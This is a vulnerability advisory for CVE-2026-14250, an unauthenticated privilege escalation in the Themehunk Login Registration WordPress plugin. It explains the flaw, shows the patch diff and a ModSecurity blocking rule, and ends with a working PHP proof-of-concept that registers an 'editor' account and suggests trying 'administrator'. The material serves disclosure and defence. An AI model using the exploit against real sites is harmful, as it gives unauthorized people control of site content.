Atomic Edge analysis of CVE-2026-14250:
The Themehunk Login Registration plugin for WordPress (versions up to and including 1.0.2) contains an unauthenticated privilege escalation vulnerability. The flaw resides in the REST API registration endpoint at /thlogin/v1/register. An unauthenticated attacker can create a new user account with the editor role when public registration is enabled. The vulnerability has a CVSS score of 6.3 (Medium).
The root cause is in the handle_frontend_register() function in /includes/class-thlogin-rest-api.php, lines 779-787 of the vulnerable code. The function retrieves a ‘role’ parameter from the user’s HTTP request via sanitize_text_field( $request->get_param( ‘role’ ) ) and validates it against the list of editable roles returned by get_editable_roles(). Because get_editable_roles() returns all roles (including elevated ones like ‘editor’ and ‘administrator’), an attacker can supply any role they choose. The validated role is then passed directly to wp_insert_user() on line 793. The default fallback role is ‘subscriber’, but the attacker can override this by providing a valid high-privilege role name.
Exploitation requires only that WordPress has public user registration enabled (Settings > General > Membership > Anyone can register). An attacker sends a POST request to /wp-json/thlogin/v1/register with the required registration fields (username, email, password) and includes the parameter ‘role=editor’ (or another elevated role). The plugin accepts this role because it passes the check against get_editable_roles(). The server then creates a new user with the editor role, granting the attacker access to edit, publish, and manage posts and pages.
The patch, applied in version 1.0.3, completely removes the user-supplied ‘role’ parameter from the registration logic. The new code at line 788-791 of the patched file references only the admin-configured default role from $general_settings[‘default_register_role’], falling back to ‘subscriber’. The attacker-supplied role is simply ignored. Additionally, the patch strengthens the email verification key generation by replacing the predictible md5(microtime().$user_id) with wp_generate_password(32, false), and fixes a timing-attack vulnerability in verification key comparison by using hash_equals() instead of a loose string comparison.
The impact is privilege escalation. An unauthenticated attacker can register as an editor, gaining significant control over the WordPress site’s content. The editor role allows creating, editing, publishing, and deleting posts and pages of any other user. This can lead to site defacement, malicious content injection, SEO spam, and potentially further escalation if the editor can access vulnerable components.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/themehunk-login-registration/includes/class-thlogin-frontend.php
+++ b/themehunk-login-registration/includes/class-thlogin-frontend.php
@@ -246,7 +246,7 @@
$user_id = absint( $_GET['user_id'] );
$stored_key = get_user_meta( $user_id, 'thlogin_email_verification_key', true );
- if ( $stored_key === $verification_key ) {
+ if ( $stored_key && hash_equals( (string) $stored_key, $verification_key ) ) {
update_user_meta( $user_id, 'thlogin_email_verified', true );
delete_user_meta( $user_id, 'thlogin_email_verification_key' );
--- a/themehunk-login-registration/includes/class-thlogin-rest-api.php
+++ b/themehunk-login-registration/includes/class-thlogin-rest-api.php
@@ -661,20 +661,23 @@
foreach ( $register_fields as $field ) {
$field_id = $field['id'] ?? '';
$field_name = $field['name'] ?? $field_id;
- $value = sanitize_text_field( $request->get_param( $field_name ) );
+ $raw_value = $request->get_param( $field_name );
switch ( $field_id ) {
case 'username':
- $username = sanitize_user( $value );
+ $username = sanitize_user( sanitize_text_field( $raw_value ) );
break;
case 'email':
- $email = sanitize_email( $value );
+ $email = sanitize_email( sanitize_text_field( $raw_value ) );
break;
case 'password':
- $password = $value;
+ // Passwords must not be run through sanitize_text_field() (it trims
+ // whitespace and strips tag-like characters), or the stored/hashed
+ // password would silently differ from what the user typed.
+ $password = (string) $raw_value;
break;
case 'confirm_password':
- $confirm_password = $value;
+ $confirm_password = (string) $raw_value;
break;
}
}
@@ -684,9 +687,12 @@
$field = array_filter( $register_fields, fn( $f ) => $f['id'] === $field_id );
$field = reset( $field );
$name = $field['name'] ?? $field_id;
- $value = sanitize_text_field( $request->get_param( $name ) );
+ $raw = $request->get_param( $name );
+ $value = in_array( $field_id, [ 'password', 'confirm_password' ], true )
+ ? (string) $raw
+ : sanitize_text_field( $raw );
- if ( empty( $value ) ) {
+ if ( '' === trim( (string) $value ) ) {
/* translators: %s: The form type (login/register) to be displayed in the link text */
$error = $field['error_message'] ?? sprintf( __( '%s is required.', 'themehunk-login-registration' ), ucfirst( str_replace('_', ' ', $field_id) ) );
return new WP_REST_Response( [ 'success' => false, 'data' => [ 'message' => $error ] ], 400 );
@@ -779,13 +785,16 @@
'user_email' => $email,
];
- $role = sanitize_text_field( $request->get_param( 'role' ) );
+ // Security: the role must NEVER be taken from the request. Allowing a
+ // client-supplied "role" parameter would let an unauthenticated visitor
+ // register as an Administrator (privilege escalation). Only the
+ // admin-configured default role is honored here.
if ( ! function_exists( 'get_editable_roles' ) ) {
require_once ABSPATH . 'wp-admin/includes/user.php';
}
- $default_role = $general_settings['default_register_role'] ?? 'subscriber';
- $editable_roles = array_keys( get_editable_roles() );
- $user_data['role'] = ( $role && in_array( $role, $editable_roles, true ) ) ? $role : $default_role;
+ $default_role = sanitize_text_field( $general_settings['default_register_role'] ?? 'subscriber' );
+ $editable_roles = array_keys( get_editable_roles() );
+ $user_data['role'] = in_array( $default_role, $editable_roles, true ) ? $default_role : 'subscriber';
// Custom fields
foreach ( $register_fields as $field ) {
@@ -866,7 +875,11 @@
}
function thlogin_send_verification_email( $user_id, $email ) {
- $key = md5( microtime() . $user_id );
+ // Security: use a cryptographically strong random token instead of
+ // md5( microtime() . $user_id ), which is predictable/brute-forceable
+ // (an attacker who knows their own user ID and roughly when they
+ // registered could compute this key and bypass email verification).
+ $key = wp_generate_password( 32, false );
update_user_meta( $user_id, 'thlogin_email_verification_key', $key );
update_user_meta( $user_id, 'thlogin_email_verified', false );
--- a/themehunk-login-registration/includes/class-thlogin-security.php
+++ b/themehunk-login-registration/includes/class-thlogin-security.php
@@ -226,7 +226,7 @@
$saved_key = get_user_meta( $user_id, 'thlogin_email_verification_key', true );
- if ( $saved_key && $saved_key === $key ) {
+ if ( $saved_key && hash_equals( (string) $saved_key, $key ) ) {
update_user_meta( $user_id, 'thlogin_email_verified', true );
delete_user_meta( $user_id, 'thlogin_email_verification_key' );
--- a/themehunk-login-registration/themehunk-login-registration.php
+++ b/themehunk-login-registration/themehunk-login-registration.php
@@ -1,9 +1,9 @@
<?php
/**
- * Plugin Name: Themehunk Login Registration
+ * Plugin Name: Login Registration
* Plugin URI: https://themehunk.com/login-registration/
* Description: A powerful and highly customizable frontend login, registration, and password reset pop-up plugin for WordPress.
- * Version: 1.0.2
+ * Version: 1.0.3
* Requires at least: 5.8
* Requires PHP: 7.4
* Author: ThemeHunk
@@ -21,7 +21,7 @@
exit;
}
-define( 'THLOGIN_VERSION', '1.0.2' );
+define( 'THLOGIN_VERSION', '1.0.3' );
define( 'THLOGIN_FILE', __FILE__ );
define( 'THLOGIN_PATH', plugin_dir_path( THLOGIN_FILE ) );
define( 'THLOGIN_URL', plugin_dir_url( THLOGIN_FILE ) );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@beginsWith /wp-json/thlogin/v1/register"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-14250 - Themehunk Login Registration Privilege Escalation',severity:'CRITICAL',tag:'CVE-2026-14250'"
SecRule ARGS:role "!@streq subscriber"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14250 - Themehunk Login Registration <= 1.0.2 - Unauthenticated Privilege Escalation via 'role' Parameter
$target_url = 'http://example.com'; // CHANGE THIS to your target WordPress URL
$rest_endpoint = $target_url . '/wp-json/thlogin/v1/register';
// Attacker-controlled parameters
$username = 'attacker_' . uniqid();
$email = $username . '@example.com';
$password = 'StrongPassword123!';
$role = 'editor'; // Privileged role: editor, could also try 'administrator'
// Initialize cURL session
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $rest_endpoint,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'username' => $username,
'email' => $email,
'password' => $password,
'confirm_password' => $password,
'role' => $role
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: AtomicEdge-PoC/1.0'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Decode JSON response
$data = json_decode($response, true);
if ($http_code === 200 && isset($data['success']) && $data['success'] === true) {
echo "[+] Success! User created with role: $rolen";
echo "[+] Username: $usernamen";
echo "[+] Email: $emailn";
echo "[+] Password: $passwordn";
echo "[+] User ID: " . ($data['data']['user_id'] ?? 'unknown') . "n";
} else {
echo "[-] Registration failed. HTTP code: $http_coden";
echo "[-] Response: " . print_r($data, true) . "n";
}